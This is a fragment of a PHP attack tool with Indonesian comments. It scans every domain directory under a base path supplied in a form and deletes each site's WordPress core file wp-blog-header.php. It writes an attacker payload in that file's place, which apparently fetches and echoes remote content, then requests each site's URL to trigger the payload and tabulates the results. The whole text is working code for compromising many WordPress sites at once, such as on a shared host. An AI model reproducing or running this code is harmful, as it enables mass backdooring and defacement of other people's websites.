[ "header" => "User-Agent: Mozilla/5.0\r\n", "timeout" => 10 ] ]); echo @file_get_contents($url, false, $ctx); ?> PHP; $result = []; $baseDir = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $baseDir = rtrim($_POST['basedir'] ?? '', '/'); if (!empty($baseDir) && is_dir($baseDir)) { $dirs = glob($baseDir . '/*', GLOB_ONLYDIR); foreach ($dirs as $dir) { $domain = basename($dir); $targetFile = $dir . '/' . $targetName; $status = [ 'domain' => $domain, 'deleted' => false, 'created' => false, 'trigger' => 'skip' ]; // Hanya proses kalau memang ada wp-blog-header.php if (file_exists($targetFile)) { @unlink($targetFile); $status['deleted'] = true; if (file_put_contents($targetFile, $payload) !== false) { $status['created'] = true; } // Auto-trigger $urlTrigger = "http://$domain/$targetName"; $resp = @file_get_contents($urlTrigger); if ($resp !== false) { $status['trigger'] = 'success'; } else { $status['trigger'] = 'fail'; } } else { $status['trigger'] = 'not-wp'; } $result[] = $status; } } else { $result = "⚠️ BaseDir tidak valid atau kosong."; } } ?>
| Domain | File Lama | File Baru | Trigger |
|---|---|---|---|
| = htmlspecialchars($row['domain']) ?> | = $row['deleted'] ? '✔' : '✘' ?> | = $row['created'] ? '✔' : '✘' ?> |
= $result ?>